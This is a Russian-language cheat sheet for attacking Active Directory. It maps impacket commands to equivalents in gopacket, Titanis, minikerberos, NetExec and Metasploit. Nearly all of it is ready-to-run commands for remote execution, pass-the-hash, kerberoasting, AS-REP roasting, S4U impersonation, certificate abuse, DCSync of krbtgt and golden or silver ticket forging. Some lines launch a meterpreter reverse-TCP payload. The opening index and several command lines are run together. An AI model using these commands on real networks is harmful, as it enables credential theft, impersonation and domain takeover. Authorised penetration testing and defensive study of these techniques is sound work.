
Эта шпаргалка сопоставляет типовые сценарии использования impacket с их современными альтернативами.
Надоел impacket? Эта шпаргалка сопоставляет типовые рабочие процессы impacket с их современными альтернативами
wmiexec.pydcomexec.pysmbexec.py · psexec.pyatexec.pywmiexec.py · psexec.pygetTGT.pygetST.pygetST.py -impersonateGetUserSPNs.pyGetNPUsers.pyGetNPUsers.pygetST.py -renewticketConverter.pychangepasswd.pyticketer.pysmbclient.py -sharessmbclient.pysmbclient.py getsmbclient.py putsmbclient.pysmbclient.pysmbclient.py -hashesproxychains smbclient.pynetview.pysmbclient.py list_snapshotssmbclient.pysecretsdump.py -samsecretsdump.py -lsasecretsdump.pysecretsdump.pysecretsdump.py -use-vsswmiexec.py · smbclient.pywmiexec.pywmiexec.py · smbclient.pysecretsdump.py -use-keylistsecretsdump.pysecretsdump.py · Dsrep repsamrdump.py · net.pynet.py group · net.py localgrouplookupsid.pyrpcdump.py · rpcmap.pywmiquery.pywmiexec.pyreg.pyservices.pyGetADUsers.py · GetADComputers.pyldapsearch · bloodyADfindDelegation.pyaddcomputer.pynet.py user -addrbcd.pydacledit.py · owneredit.pynet.pyprinterbug.py · dfscoerce.py
ntlmrelayx.py · smbserver.py (capture)| Сценарий | impacket | gopacket | Titanis | minikerberos URL | msldap URL | Metasploit | aiosmb URL |
|---|---|---|---|---|---|---|---|
| Пароль | DOMAIN/user:Pass@host | DOMAIN/user:Pass@host | -UserName user -UserDomain DOMAIN -Password Pass | kerberos+password://DOMAIN\user:Pass@kdc | ldap+ntlm-password://DOMAIN\user:Pass@dc | SMBDomain DOMAIN SMBUser user SMBPass Pass | smb+ntlm-password://DOMAIN\user:Pass@host |
| Pass-the-Hash | -hashes :NTLM | -hashes :NTLM DOMAIN/user@host | -NtlmHash <NTLM> | kerberos+ntlm-nt://DOMAIN\user:NTLM@kdc | ldap+ntlm-nt://DOMAIN\user:NTLM@dc | SMBPass aad3b435b51404eeaad3b435b51404ee:NTLM | smb+ntlm-nt://DOMAIN\user:NTLM@host |
| Ключ AES | -aesKey <hex> | -aesKey <hex> | -AesKey <hex> | kerberos+aes://DOMAIN\user:hex@kdc | ldap+kerberos+aes://.../?dc=ip | AESKEY <hex> | smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip |
| Ключ RC4 | через -hashes | через -hashes :NTLM | -NtlmHash | kerberos+rc4://DOMAIN\user:NTLM@kdc | ldap+kerberos+rc4://.../?dc=ip | NTHASH <NTLM> | smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip |
| ccache | KRB5CCNAME=file.ccache | KRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host | -TicketCache file.ccache | kerberos+ccache://...?ccache=f.ccache | ldap+kerberos+ccache://.../?dc=ip&ccache=f.ccache | KrbUseCachedCredentials true | smb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache |
| Билет kirbi | сначала конвертируйте | сначала ticketConverter file.kirbi file.ccache | -Ticket file.kirbi | сначала minikerberos-kirbi2ccache | сначала конвертируйте | auxiliary/admin/kerberos/ticket_converter | сначала конвертируйте в ccache |
| PKINIT / PFX | certipy / gettgtpkinit | — | — | kerberos+pfx://...?pfx=f.pfx&pfxpass=P | ldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx | — | smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P |
| NEGOEX / PFX | — | — | — | n/a | n/a | — | smb+negoex-pfx://cert.pfx:certpass@host/ |
| SOCKS5 | префикс proxychains | префикс proxychains (нативный cgo; обходной путь через GOFLAGS не нужен) | -Socks5 host:port | n/a | ?proxytype=socks5&proxyhost=...&proxyport=... | set Proxies socks5:127.0.0.1:1080 | ?proxyhost=127.0.0.1&proxyport=1080 |
| SOCKS4 | n/a | n/a | n/a | n/a | n/a | n/a | ?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080 |
| Шифрование RPC | n/a | n/a | -EncryptRpc | n/a | n/a | авто | n/a (подпись SMB согласовывается автоматически) |
| Семантика резервного копирования | n/a | n/a | -BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client) | n/a | n/a | n/a | n/a |
| Анонимный bind | ограничено | — | не документировано | n/a | ldap://192.168.1.1 | n/a | n/a |
| QUIC (Azure) | n/a | n/a | n/a | n/a | n/a | n/a | smb+quic+ntlm-password://DOMAIN\user:Pass@host |
| Порт LDAP | (напрямую LDAP) | требуется -port 389 (порт по умолчанию 445 ломает LDAP-инструменты) | (напрямую LDAP) | (порт в URL) | (порт в URL) | — | — |
⚠️ Примечание по ccache в Titanis:
-Tgtв настоящее время отклоняет файлы ccache, созданные impacket (getTGT.py) и аналогичными инструментами. Причина: impacket кодирует субъект службы TGT как NT_PRINCIPAL (тип имени 1); Titanis ожидает NT_SERVICE_INSTANCE (тип имени 2) и не распознаёт билет как TGT. Разработчик Titanis должен выпустить исправление, ослабляющее эту проверку. До тех пор используйтеKerb asreq -TicketCache, чтобы получить родной для Titanis TGT, и передавайте его через-Tgt. Отдельно,-TicketCacheмолча не предоставляет контекст аутентификации для неродных файлов ccache — вместо этого используйте-Tgt(с файлом, созданным Titanis). Для файлов ccache от impacket/Metasploit используйтеKRB5CCNAME+wmiexec.py -k/smbclient.py -kнапрямую.
wmiexec.py DOMAIN/jdoe:[email protected] "whoami"
wmiexec DOMAIN/jdoe:[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"
Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"
wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"
wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"
Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"
wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"
KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]
Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"
Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"
[↑ Back to Index](#index)
---
### DCOM Exec
> **Titanis `Dcom invoke` — SOP поиска CLSID:**
> - **Разрешение ProgID выполняется локально.** Titanis разрешает ProgID (например, `MMC20.Application`) из реестра атакующего, а не целевой системы. В Linux нет реестра, по которому можно выполнить разрешение; в Windows CLSID атакующего может отличаться от CLSID целевой системы. Всегда используйте `Reg` для поиска фактического CLSID в удалённой системе, затем передавайте исходный GUID.
> - **Обход цепочки свойств** (v0.9.20260320+): Dcom invoke теперь поддерживает точечные пути свойств, такие как `Document.ActiveView.ExecuteShellCommand`, автоматически проходя по цепочке IDispatch. MMC20.Application работает. Метод `Item()` объекта ShellWindows — нет: он требует аргумент индекса, который синтаксис цепочки передать не может.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"
# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"
# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow
# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]
# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
'cmd /c whoami > C:\Windows\Temp\out.txt'
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec
# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
Document.ActiveView.ExecuteShellCommand \
cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'
Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'\\192.168.1.10\C$\Windows\Temp\out.txt'
# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
'C:\Windows\System32\cmd.exe'
# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default) REG_SZ {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
⚠️
smbexec.pyна контроллерах домена:smbexec.pyне работает на контроллерах домена с ошибкойSTATUS_OBJECT_NAME_NOT_FOUNDпри открытии\pipe\svcctl. Контроллеры домена предъявляют более строгие требования к параметрам открытия именованных каналов, чем рядовые серверы — флаги smbexec отклоняются, а флагиservices.py— нет. Используйтеservices.pyдля управления службами на контроллерах домена илиwmiexec.pyдля удалённого выполнения.```bash
smbexec.py DOMAIN/jdoe:[email protected]
smbexec DOMAIN/jdoe:[email protected]
smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
psexec.py DOMAIN/jdoe:[email protected] cmd.exe
psexec DOMAIN/jdoe:[email protected]
psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=
msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=
Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start
Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123
Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
[↑ Назад к оглавлению](#index)
---
### Выполнение запланированных задач
> **Примечание:** MS-TSCH ещё не реализован в Titanis. Используйте `Win32_ScheduledJob` через WMI в качестве обходного пути или `atexec.py` для настоящей семантики MS-TSCH.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
Win32_ScheduledJob Create \
"Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"
# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm \\192.168.1.10\C$\Windows\Temp\out.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"
# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami
# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
"whoami > C:\Windows\Temp\out.txt"
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"
netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"
while IFS= read -r host; do
echo "=== $host ===" >> exec_results.txt
wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1
done < hosts.txt
[↑ Назад к оглавлению](#index)
---
## 2. Kerberos
### Запрос TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1
# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]
# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache
# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
password=Password123 action=GET_TGT
# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1
# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache
# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe
# minikerberos — AES256
minikerberos-getTGT \
"kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
--ccache jdoe.ccache
# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
-AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
"kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
--ccache jdoe.ccache
# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
-EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi
getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS
minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache
Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi
getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]
getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к оглавлению](#index)
---
### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-dc-ip 192.168.1.1 DOMAIN/svc:Password123
# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc
# minikerberos — S4U2self
minikerberos-getS4U2self \
"kerberos+password://DOMAIN\svc$:[email protected]" \
[email protected] s4u_self.ccache
# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
"kerberos+password://DOMAIN\svc$:[email protected]" \
cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache
# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
-S4UserName Administrator@DOMAIN cifs/target.domain.local \
-OutputFileName admin-target.kirbi
# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123
msf6 > use auxiliary/gather/get_user_spns
msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123
msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt
minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt
minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt
pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt
pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi
while IFS= read -r spn; do
safe=$(echo "$spn" | tr '/:@' '')
kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast${safe}.kirbi"
done < spns.txt
Kerb select -From roast_.kirbi -Into kerberoast-all.ccache
minikerberos-ccacheroast kerberoast-all.ccache
GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]
GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[Назад к оглавлению](#index)
---
### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/
# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
user_file=/path/to/users.txt
# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt
# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
--userlist users.txt -o asrep_hashes.txt
# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
--ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt
# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt
# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt
# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep
# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
"(userAccountControl|=4194304)" \
-OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
kerb asreq -UserName "$user" -Realm DOMAIN \
-Kdc 192.168.1.1 -EncTypes Rc4Hmac \
-OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)
# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1
Извлекает хэши $krb5tgs$ из украденных ccache-файлов без повторных запросов.```bash
minikerberos-ccacheroast stolen.ccache
pypykatz kerberos ccache roast stolen.ccache
[↑ Назад к оглавлению](#index)
---
### Проверка Pre-Auth / Enc-Type```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt
# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt
# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/
# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
user_file=/path/to/users.txt verbose=true
# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1
# Titanis — bulk probe loop
while IFS= read -r user; do
result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
echo "INVALID: $user"
elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
echo "NO-PREAUTH: $user"
else
echo "VALID: $user"
fi
done < users.txt
Восстанавливает NT-хэш учётной записи через PKINIT после получения сертификата.```bash
certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL
certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1
minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt
python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache
export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser
certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin
minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt
Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
[↑ Назад к оглавлению](#index)
---
### Продление тикета```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe
# MIT Kerberos
kinit -R
krenew -v -b -t
# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache
# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi
# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]
ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache
msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi
msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache
Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache
ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache
describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi
[↑ Назад к индексу](#index)
---
### Смена пароля```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass
# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass
# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe
# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass
# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass
# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass
# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]
Статус Titanis: форжинг билетов не поддерживается. Используйте Metasploit
auxiliary/admin/kerberos/forge_ticket(нативный Ruby) или impacketticketer.py. ⚠️ В настоящее время подделанные билеты нельзя загрузить в Titanis через-Tgt— impacket кодирует субъекты служб TGT как NT_PRINCIPAL (тип имени 1), а Titanis ожидает NT_SERVICE_INSTANCE (тип имени 2); исправление ожидается от разработчика. Пока используйтеKRB5CCNAME+ impacket (wmiexec.py -k,smbclient.py -k) напрямую с подделанными билетами.```bash
secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt
msf6 > use auxiliary/admin/kerberos/forge_ticket
msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator
msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local
msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator
msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator
ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator
export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]
ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass DOMAIN/[email protected]
ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator
